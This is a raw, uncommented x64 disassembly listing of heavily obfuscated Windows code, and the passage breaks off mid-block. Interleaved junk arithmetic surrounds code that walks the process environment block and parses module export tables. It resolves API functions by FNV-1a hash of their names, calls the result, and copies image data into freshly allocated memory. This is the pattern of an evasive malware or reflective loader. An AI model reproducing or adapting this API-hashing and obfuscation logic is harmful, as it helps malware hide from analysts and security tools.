xor r8d, 0xe711487e
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0xae5e30e8
xor r8d, 0xb5ec65a0
rol r8d, 0xb2
popf
mov edx, 0xc6f075f
pushf
not edx
add edx, 0xf1a16d28
xor edx, 0xb6bc12c2
rol edx, 0x3b
popf
pushf
not edx
add edx, 0xf5b0f1e0
xor edx, 0xab9505c4
rol edx, 0xc0
popf
pushf
not edx
add edx, 0xafb7166e
xor edx, 0xa7351a8a
rol edx, 0x9d
popf
mov rcx, qword [rsp + 0x1d0]
call fcn.140161c88
mov rax, qword [rsp + 0x410]
mov qword [rsp + 0x160], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x2e0], rax
mov rax, qword [rsp + 0x2e0]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x2e8], rax
mov rax, qword [rsp + 0x2e8]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2f0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x1c8], rax
push rax
pushf
mov eax, 0xc40fbb75
pushf
not eax
add eax, 0xcd14a2bc
xor eax, 0xf9b71148
rol eax, 0xc
popf
pushf
not eax
add eax, 0xd127a3fe
xor eax, 0xc3f848ab
rol eax, 0x18
popf
pushf
not eax
add eax, 0xf45f133e
xor eax, 0x980cd441
rol eax, 0x6b
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x1c8]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2f8], rax
mov eax, 0x7390306e
pushf
not eax
add eax, 0xecb789c0
xor eax, 0xad3e2515
rol eax, 0x6f
popf
pushf
not eax
add eax, 0xbf9143ac
xor eax, 0xdd95643a
rol eax, 0xca
popf
pushf
not eax
add eax, 0xc71c74e2
xor eax, 0xd865dd6e
rol eax, 0xd
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x270], rax
mov eax, dword [rsp + 0x270]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x274]
mov dword [rsp + 0x128], eax
mov rax, qword [rsp + 0x118]
cmp qword [rsp + 0x120], rax
je 0x1400bcd72
push rax
pushf
mov eax, 0xee68b899
pushf
not eax
add eax, 0xf8703428
xor eax, 0xc76e475e
rol eax, 0xf0
popf
pushf
not eax
add eax, 0xa6870f12
xor eax, 0x89d09378
rol eax, 0xab
popf
pushf
not eax
add eax, 0xdb9f0ec5
xor eax, 0xa53a87c1
rol eax, 0xcf
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xbef060fc
pushf
not eax
add eax, 0xe02be286
xor eax, 0xbd9344f7
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xdbfc777b
xor eax, 0xcc38f874
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x8c0a73c4
xor eax, 0x9776b4ca
rol eax, 0x8b
popf
jmp 0x1400bb3d7
mov dword [rsp + 0x80], 1
jmp 0x1400bce36
mov dword [rsp + 0x80], 0
push rax
pushf
mov eax, 0x73f51869
pushf
not eax
add eax, 0xf8e0fa51
xor eax, 0xc45f6e40
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xa324ce24
xor eax, 0xcf5c73dc
rol eax, 0x8d
popf
jmp 0x1400bb3d7
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x27], al
movzx eax, byte [rsp + 0x27]
test eax, eax
je 0x1400bce95
push rax
pushf
mov eax, 0x67f5566b
pushf
not eax
add eax, 0x9f76cf53
xor eax, 0xe3e6e16f
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xd38d4cc1
xor eax, 0xc87b24b1
rol eax, 0xa
popf
pushf
not eax
add eax, 0x927a0f9c
xor eax, 0x834bb590
rol eax, 0x8f
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xcf84f56a
pushf
not eax
add eax, 0xbf212209
xor eax, 0xda764f3f
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xf6a80253
xor eax, 0xb1af0463
rol eax, 0x13
popf
pushf
not eax
add eax, 0xc13a019d
xor eax, 0xa35c01f0
rol eax, 0xad
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x180], eax
mov eax, dword [rsp + 0x3c]
jmp 0x1400bcefa
dec eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x180], 0
je 0x1400bcf41
push rax
pushf
mov eax, 0x5f1d42ed
pushf
not eax
add eax, 0xf6bf85da
xor eax, 0xa8282b9e
rol eax, 0x59
popf
pushf
not eax
add eax, 0xa1af3953
xor eax, 0xbd3024ba
rol eax, 0x1f
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x974ece34
pushf
not eax
add eax, 0xd9ded3b5
xor eax, 0xac389915
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xda78c48b
xor eax, 0xb76c304a
rol eax, 0x89
popf
pushf
not eax
add eax, 0xace52072
xor eax, 0xd6d74fef
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xfd8ea001
xor eax, 0xe1a20de1
rol eax, 1
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x3dc]
mov dword [rsp + 0x84], eax
movabs rax, 0x18d8a3e991d3b83d
pushf
not rax
add rax, 0x7d00bdae
xor rax, 0x74081dfe
rol rax, 0x3a
popf
pushf
not rax
add rax, 0x68481242
xor rax, 0x406ec20d
rol rax, 0x98
popf
shr rax, 0x20
mov dword [rsp + 0x84], eax
mov rax, qword [rsp + 0x418]
mov qword [rsp + 0x210], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x118]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x210], rax
movabs rax, 0xa9149690dc589a37
pushf
not rax
add rax, 0x6ec60013
xor rax, 0x6a6ba730
rol rax, 0xc4
popf
pushf
not rax
add rax, 0x4fb7967f
xor rax, 0x7ba668fc
rol rax, 0xb
popf
pushf
not rax
add rax, 0x672018d9
xor rax, 0x72ca3e47
rol rax, 0x33
popf
mov ecx, 0x7bbb2649
pushf
not ecx
add ecx, 0xcc593279
xor ecx, 0x9511408e
rol ecx, 0x5a
popf
pushf
not ecx
add ecx, 0xfe4235b7
xor ecx, 0xca47389f
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0xfdb57811
xor ecx, 0xcca9a49a
rol ecx, 0x53
popf
pushf
not ecx
add ecx, 0xb05a6c09
xor ecx, 0xc6b7489a
rol ecx, 0x7b
popf
and rax, rcx
mov dword [rsp + 0x184], eax
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x208], rax
mov eax, dword [rsp + 0x84]
mov dword [rsp + 0x5c], eax
mov rax, qword [rsp + 0x208]
movzx eax, byte [rax]
mov byte [rsp + 0x28], al
mov rax, qword [rsp + 0x208]
inc rax
mov qword [rsp + 0x208], rax
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x21], al
movsx eax, byte [rsp + 0x21]
test eax, eax
jne 0x1400bd179
push rax
pushf
mov eax, 0xe2e3ee50
pushf
not eax
add eax, 0xe0639085
xor eax, 0xe942d2f4
rol eax, 1
popf
pushf
not eax
add eax, 0xe1c66785
xor eax, 0xe60c79fd
rol eax, 0xff
popf
pushf
not eax
add eax, 0xa556c043
xor eax, 0xf5b2c386
rol eax, 0xbb
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x7278a52b
pushf
not eax
add eax, 0xdb4529fe
xor eax, 0x9312ff92
rol eax, 0x49
popf
pushf
not eax
add eax, 0xbee7925e
xor eax, 0x974bc21f
rol eax, 0x2b
popf
pushf
not eax
add eax, 0x9409ce09
xor eax, 0xd3d6474f
rol eax, 0xeb
popf
pushf
not eax
add eax, 0x8babcfc5
xor eax, 0x897b1c4f
rol eax, 0x34
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x5c]
mov dword [rsp + 0x188], eax
jmp 0x1400bd406
xor eax, eax
test eax, eax
je 0x1400bd287
push rax
pushf
mov eax, 0xdcd30b80
pushf
not eax
add eax, 0xa40c58aa
xor eax, 0xb8da3756
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xdf3d42a3
xor eax, 0x9fecbea5
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xe2a6d9a4
xor eax, 0xb90031d6
rol eax, 0xb0
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x64bd9f8d
pushf
not eax
add eax, 0xb4e3aa05
xor eax, 0xe1dce622
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc963f837
xor eax, 0xb3a6c989
rol eax, 0x9c
popf
pushf
not eax
add eax, 0xb31038d9
xor eax, 0xa87d9318
rol eax, 0xec
popf
jmp 0x1400bb3d7
movsx eax, byte [rsp + 0x21]
or eax, 0x20
mov dword [rsp + 0x88], eax
jmp 0x1400bd38c
movsx eax, byte [rsp + 0x21]
mov dword [rsp + 0x88], eax
push rax
pushf
mov eax, 0x503411c8
pushf
not eax
add eax, 0xbc2b4a93
xor eax, 0xd1704608
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xe631917d
xor eax, 0xe7880151
rol eax, 0xea
popf
pushf
not eax
add eax, 0x97bc854d
xor eax, 0xc8c0a016
rol eax, 0x8d
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x88]
mov ecx, dword [rsp + 0x5c]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x5c], eax
jmp 0x1400bd100
mov eax, dword [rsp + 0x184]
cmp dword [rsp + 0x188], eax
jne 0x1400bd449
push rax
pushf
mov eax, 0x4ed19a95
pushf
not eax
add eax, 0x8de80b0e
xor eax, 0xcf1e8c91
rol eax, 0x39
popf
pushf
not eax
add eax, 0xa935140e
xor eax, 0xd5470214
rol eax, 0x91
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xfbc2e07d
pushf
not eax
add eax, 0xe4769b6b
xor eax, 0xa25c578c
rol eax, 0xa
popf
pushf
not eax
add eax, 0xee624959
xor eax, 0xaeacc43f
rol eax, 0x61
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x120]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x300], rax
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x300]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x308]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x118]
mov qword [rsp + 0x310], rax
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0x160], rax
jmp 0x1400bd6cc
jmp 0x1400bceea
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x318], rax
mov rax, qword [rsp + 0x318]
mov rax, qword [rax]
mov qword [rsp + 0x320], rax
mov rax, qword [rsp + 0x320]
mov qword [rsp + 0x1c8], rax
mov byte [rsp + 0x29], 1
movzx eax, byte [rsp + 0x29]
test eax, eax
jne 0x1400bd621
push rax
pushf
mov eax, 0x8a3e388c
pushf
not eax
add eax, 0xd4462e81
xor eax, 0xf51e54ad
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xb33eb169
xor eax, 0x9ac2896c
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xfc5fb381
xor eax, 0xa89d358c
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xde1230f7
xor eax, 0x81af2daa
rol eax, 0x8e
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x7f138844
pushf
not eax
add eax, 0x872e4f3d
xor eax, 0xaa12cd35
rol eax, 0x88
popf
pushf
not eax
add eax, 0xd7d5e200
xor eax, 0xcc4df505
rol eax, 0xe3
popf
pushf
not eax
add eax, 0xc16556ec
xor eax, 0xf330cd83
rol eax, 0xf4
popf
pushf
not eax
add eax, 0xc288e775
xor eax, 0xa803e60c
rol eax, 0xd6
popf
jmp 0x1400bb3d7
mov qword [rsp + 0x160], 0
push rax
pushf
mov eax, 0xd60f59b9
pushf
not eax
add eax, 0x9e51a84b
xor eax, 0xbbc13283
rol eax, 0x52
popf
pushf
not eax
add eax, 0x8d09111a
xor eax, 0x96855b8d
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xe2fd7b69
xor eax, 0xde7c712e
rol eax, 9
popf
jmp 0x1400bb3d7
mov ecx, 0x2a8f674b
pushf
not ecx
add ecx, 0xec96650c
xor ecx, 0xa3b903cd
rol ecx, 0x7e
popf
pushf
not ecx
add ecx, 0xa6dc04c2
xor ecx, 0xdf72bc0e
rol ecx, 0xca
popf
pushf
not ecx
add ecx, 0xeb0189b6
xor ecx, 0x99004f6c
rol ecx, 0x8c
popf
pushf
not ecx
add ecx, 0xa7663157
xor ecx, 0xdee42fc5
rol ecx, 0x9a
popf
jmp 0x1400bd726
call qword [rsp + 0x160]
mov qword [rsp + 0x328], 0
mov r8d, 0xf65a2714
pushf
not r8d
add r8d, 0xcfc1c81c
xor r8d, 0xdd51f510
rol r8d, 0xa
popf
pushf
not r8d
add r8d, 0x90de9c55
xor r8d, 0xb7864044
rol r8d, 0x90
popf
lea rdx, [rsp + 0x328]
mov rcx, qword [rsp + 0x1d0]
call fcn.1400815da
mov qword [rsp + 0xd0], 0
jmp 0x1400bd85f
mov rax, qword [rsp + 0xd0]
add rax, 0x1000
mov qword [rsp + 0xd0], rax
push rax
pushf
mov eax, 0x188c45f8
pushf
not eax
add eax, 0xc93a7b0b
xor eax, 0xad29ea44
rol eax, 0xac
popf
pushf
not eax
add eax, 0xc5260be2
xor eax, 0xacb2f6a7
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xdd61eb6a
xor eax, 0xe4ea910c
rol eax, 0x73
popf
pushf
not eax
add eax, 0xcd9fda9c
xor eax, 0x841bc321
rol eax, 0xcb
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x50]
mov eax, dword [rax + 0x50]
cmp qword [rsp + 0xd0], rax
jae 0x1400bd8ca
push rax
pushf
mov eax, 0xd8402374
pushf
not eax
add eax, 0xddf89f59
xor eax, 0x9af9fbd8
rol eax, 0xb7
popf
pushf
not eax
add eax, 0xaee59671
xor eax, 0xc5c24906
rol eax, 0x11
popf
pushf
not eax
add eax, 0xfbf36b3c
xor eax, 0xdb0b2d9f
rol eax, 0x35
popf
pushf
not eax
add eax, 0x86a00147
xor eax, 0xeef4cf89
rol eax, 0x2a
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x59448659
pushf
not eax
add eax, 0xc89382b3
xor eax, 0xcda9254f
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x9f3f6c81
xor eax, 0xea282d94
rol eax, 0
popf
jmp 0x1400bb3d7
mov ecx, 0xd041f2e9
pushf
not ecx
add ecx, 0xb174b5ac
xor ecx, 0x883a1138
rol ecx, 0x36
popf
pushf
not ecx
add ecx, 0xeedb0131
xor ecx, 0x807ae5e9
rol ecx, 0
popf
pushf
not ecx
add ecx, 0xff10c1d9
xor ecx, 0x8ed666d3
rol ecx, 0xe8
popf
jmp 0x1400bd942
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsp + 0x218], rax
mov rdi, qword [rsp + 0x218]
xor eax, eax
mov ecx, 0xb3afbddb
pushf
not ecx
add ecx, 0xad9695f6
xor ecx, 0xa4a46729
rol ecx, 0xe9
popf
pushf
not ecx
add ecx, 0xd3a0c206
xor ecx, 0xce225b4b
rol ecx, 0xed
popf
rep stosb byte [rdi], al
mov rax, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0x48]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov r8d, 0x2275e970
pushf
not r8d
add r8d, 0xbce7fb2b
xor r8d, 0x9ba346b3
rol r8d, 0x32
popf
pushf
not r8d
add r8d, 0xc3aafcdf
xor r8d, 0xb4215c12
rol r8d, 0x1e
popf
pushf
not r8d
add r8d, 0xe556a04f
xor r8d, 0xf06cb4ec
rol r8d, 0xc4
popf
mov rdx, qword [rsp + 0x218]
mov rcx, rax
call fcn.1400815da
jmp 0x1400bd7f0
mov r8d, 0xd1d74605
pushf
not r8d
add r8d, 0x8f0a912c
xor r8d, 0xe71b926f
rol r8d, 0x15
popf
pushf
not r8d
add r8d, 0xfdf68cc8
xor r8d, 0x8eef5019
rol r8d, 0x5b
popf
pushf
not r8d
add r8d, 0x82a228f5
xor r8d, 0xf1de3efd
rol r8d, 0xb2
popf
pushf
not r8d
add r8d, 0x922f874c
xor r8d, 0xb706ef2f
rol r8d, 0xa7
popf
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x48]
call fcn.1400815da
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0x150], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x330], rax
mov rax, qword [rsp + 0x330]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x338], rax
mov rax, qword [rsp + 0x338]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x340], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x158], rax
push rax
pushf
mov eax, 0xa44dfedd
pushf
not eax
add eax, 0xd3ef0b2b
xor eax, 0xbb53d763
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xdf0c4e96
xor eax, 0xbcb8c5f2
rol eax, 0xb3
popf
pushf
not eax
add eax, 0xc4551e3f
xor eax, 0xe318f241
rol eax, 0x77
popf
pushf
not eax
add eax, 0xe6a3fa77
xor eax, 0xc9680a34
rol eax, 0x70
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x158]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0xd8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x348], rax
mov eax, 0x64494f0
pushf
not eax
add eax, 0x89136107
xor eax, 0xcc21dfce
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xbf6e45bd
xor eax, 0xfd90e764
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x8e8952b7
xor eax, 0xf06a2d1e
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xce0777fd
xor eax, 0xacbd48dc
rol eax, 0xa4
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x348]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x220], rax
mov eax, dword [rsp + 0x220]
mov rcx, qword [rsp + 0xd8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x138], rax
mov eax, dword [rsp + 0x224]
mov dword [rsp + 0x140], eax
mov rax, qword [rsp + 0x130]
cmp qword [rsp + 0x138], rax
je 0x1400bdca0
push rax
pushf
mov eax, 0xc812447e
pushf
not eax
add eax, 0xf4e030fb
xor eax, 0xd6338714
rol eax, 0x60
popf
pushf
not eax
add eax, 0xbcbcbed9
xor eax, 0xc1be532c
rol eax, 0xdf
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xce4b9c34
pushf
not eax
add eax, 0xee466136
xor eax, 0xfc8543e5
rol eax, 0x61
popf
pushf
not eax
add eax, 0x932f671f
xor eax, 0xcc6e5955
rol eax, 0xaf
popf
jmp 0x1400bb3d7
mov dword [rsp + 0x8c], 1
jmp 0x1400bdd7a
mov dword [rsp + 0x8c], 0
push rax
pushf
mov eax, 0x59bf845e
pushf
not eax
add eax, 0x85c37099
xor eax, 0xd2475637
rol eax, 0xec
popf
pushf
not eax
add eax, 0xee35ac1d
xor eax, 0x978a9103
rol eax, 0x97
popf
pushf
not eax
add eax, 0xeaf930bf
xor eax, 0x8d5ea190
rol eax, 0x66
popf
jmp 0x1400bb3d7
movzx eax, byte [rsp + 0x8c]
mov byte [rsp + 0x2a], al
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x1400bddec
push rax
pushf
mov eax, 0xe0f548e7
pushf
not eax
add eax, 0xd2950792
xor eax, 0xe0931c4e
rol eax, 0x2e
popf
pushf
not eax
add eax, 0x8347828a
xor eax, 0x992b42c2
rol eax, 0x93
popf
pushf
not eax
add eax, 0xf0a128de
xor eax, 0xab1f9e8c
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xbf6c4588
xor eax, 0x95572039
rol eax, 0xee
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xfc03c903
pushf
not eax
add eax, 0xd4be877d
xor eax, 0xe6406944
rol eax, 0xe4
popf
pushf
not eax
add eax, 0xe555aeb5
xor eax, 0x9080260f
rol eax, 0x95
popf
pushf
not eax
add eax, 0x8f3ba784
xor eax, 0xf16f0130
rol eax, 0x7c
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x30]
jmp 0x1400bde51
dec eax
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x18c], 0
je 0x1400bdebe
push rax
pushf
mov eax, 0xac0f2958
pushf
not eax
add eax, 0xe10711d5
xor eax, 0x9cc8eae5
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xd761f7b4
xor eax, 0x90df38a3
rol eax, 0x62
popf
pushf
not eax
add eax, 0xe3e17913
xor eax, 0xd8091604
rol eax, 0x28
popf
pushf
not eax
add eax, 0xbd23bac2
xor eax, 0xe9599621
rol eax, 0x2a
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x23a28296
pushf
not eax
add eax, 0x973f87b2
xor eax, 0xb35d55b7
rol eax, 0x64
popf
pushf
not eax
add eax, 0xc4439e03
xor eax, 0xb92d2756
rol eax, 0xf0
popf
pushf
not eax
add eax, 0x89861dd1
xor eax, 0xd53b9cbd
rol eax, 0x91
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x3d4]
mov dword [rsp + 0x90], eax
movabs rax, 0xe314d8cb12a893e2
pushf
not rax
add rax, 0x7add1122
xor rax, 0x50d5d1b4
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x71ef0dbc
xor rax, 0x5a2a39ea
rol rax, 2
popf
shr rax, 0x20
mov dword [rsp + 0x90], eax
mov rax, qword [rsp + 0x3e8]
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0x130]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x30]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x228], rax
movabs rax, 0xb391c5e1165623f5
pushf
not rax
add rax, 0x70c8d8d2
xor rax, 0x5b45efb0
rol rax, 0x49
popf
pushf
not rax
add rax, 0x4fdd540f
xor rax, 0x70e52263
rol rax, 0x63
popf
pushf
not rax
add rax, 0x67c775a3
xor rax, 0x61011cda
rol rax, 0xfd
popf
mov ecx, 0x1799c485
pushf
not ecx
add ecx, 0xc6cba954
xor ecx, 0xdc2dac91
rol ecx, 0xa4
popf
pushf
not ecx
add ecx, 0xeafab51f
xor ecx, 0xa67a97d9
rol ecx, 0xfb
popf
pushf
not ecx
add ecx, 0xae84ea44
xor ecx, 0xf33ffea5
rol ecx, 0xda
popf
pushf
not ecx
add ecx, 0xdb7b8de6
xor ecx, 0x89bf4805
rol ecx, 0xbc
popf
and rax, rcx
mov dword [rsp + 0x190], eax
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0x168]
movzx eax, byte [rax]
mov byte [rsp + 0x2b], al
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
movzx eax, byte [rsp + 0x2b]
mov byte [rsp + 0x22], al
movsx eax, byte [rsp + 0x22]
test eax, eax
jne 0x1400be0f8
push rax
pushf
mov eax, 0xa584757d
pushf
not eax
add eax, 0xef336c46
xor eax, 0xd1388ebd
rol eax, 0x3c
popf
pushf
not eax
add eax, 0xcf38c4aa
xor eax, 0xadc0a3cf
rol eax, 0x99
popf
pushf
not eax
add eax, 0xf48235b5
xor eax, 0xf0602f80
rol eax, 0xff
popf
pushf
not eax
add eax, 0xdb8d15c9
xor eax, 0xfeb458ad
rol eax, 0xe9
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xfa5e87e
pushf
not eax
add eax, 0xe5b93437
xor eax, 0xd8a46384
rol eax, 0xd0
popf
pushf
not eax
add eax, 0xe6baf726
xor eax, 0xb8fee86e
rol eax, 0x6b
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x60]
mov dword [rsp + 0x194], eax
jmp 0x1400be310
xor eax, eax
test eax, eax
je 0x1400be1e0
push rax
pushf
mov eax, 0x1d488967
pushf
not eax
add eax, 0xee10e7f7
xor eax, 0xf151bd26
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe4cf57bb
xor eax, 0xeaa4e923
rol eax, 0x64
popf
pushf
not eax
add eax, 0x9060e056
xor eax, 0xbe36b953
rol eax, 0x99
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xda592cea
pushf
not eax
add eax, 0x82317e4e
xor eax, 0xaebb6441
rol eax, 0xee
popf
pushf
not eax
add eax, 0x9f680b6e
xor eax, 0xd8cf9600
rol eax, 0x59
popf
pushf
not eax
add eax, 0xdc5f3383
xor eax, 0xb2919344
rol eax, 0x4e
popf
jmp 0x1400bb3d7
movsx eax, byte [rsp + 0x22]
or eax, 0x20
mov dword [rsp + 0x94], eax
jmp 0x1400be2a9
movsx eax, byte [rsp + 0x22]
mov dword [rsp + 0x94], eax
push rax
pushf
mov eax, 0x4471e1b9
pushf
not eax
add eax, 0x9deb392b
xor eax, 0xf54e264f
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xdeb74bc3
xor eax, 0x89239323
rol eax, 0xed
popf
jmp 0x1400bb3d7
mov eax, dword [rsp + 0x94]
mov ecx, dword [rsp + 0x60]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x60], eax
jmp 0x1400be06b
mov eax, dword [rsp + 0x190]
cmp dword [rsp + 0x194], eax
jne 0x1400be353
push rax
pushf
mov eax, 0x732aedf6
pushf
not eax
add eax, 0xb9c33d37
xor eax, 0xf3709aa2
rol eax, 0x14
popf
pushf
not eax
add eax, 0xdd59fad1
xor eax, 0xef2e9c40
rol eax, 0x84
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0xd628059e
pushf
not eax
add eax, 0xe40f269f
xor eax, 0xf1f04683
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xb9510fe3
xor eax, 0x996d54a6
rol eax, 0x11
popf
jmp 0x1400bb3d7
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x358], rax
mov rax, qword [rsp + 0x138]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x350], rax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x350]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x358]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0x130]
mov qword [rsp + 0x360], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x150], rax
jmp 0x1400be5b0
jmp 0x1400bde41
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x368]
mov rax, qword [rax]
mov qword [rsp + 0x370], rax
mov rax, qword [rsp + 0x370]
mov qword [rsp + 0x158], rax
mov byte [rsp + 0x2c], 1
movzx eax, byte [rsp + 0x2c]
test eax, eax
jne 0x1400be518
push rax
pushf
mov eax, 0x5615bc4d
pushf
not eax
add eax, 0xfd5212d4
xor eax, 0xb828f957
rol eax, 0x1c
popf
pushf
not eax
add eax, 0xef931846
xor eax, 0x9d690173
rol eax, 0x72
popf
pushf
not eax
add eax, 0xdae540d7
xor eax, 0xa9f73db3
rol eax, 0x12
popf
jmp 0x1400bb3d7
push rax
pushf
mov eax, 0x40958882
pushf
not eax
add eax, 0xba8d14c3
xor eax, 0xf26f2506
rol eax, 0xdc
popf
pushf
not eax
add eax, 0x86a87a77
xor eax, 0xc30136a5
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xe2e9d5f2
xor eax, 0x94764bfb
rol eax, 0x68
popf
pushf
not eax
add eax, 0xf791af41
xor eax, 0xc774d309
rol eax, 0x46
popf
jmp 0x1400bb3d7
mov qword [rsp + 0x150], 0
push rax
pushf
mov eax, 0xb4af7e6b
pushf
not eax
add eax, 0x89127615
xor eax, 0xcee0d156
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xc4424b1c
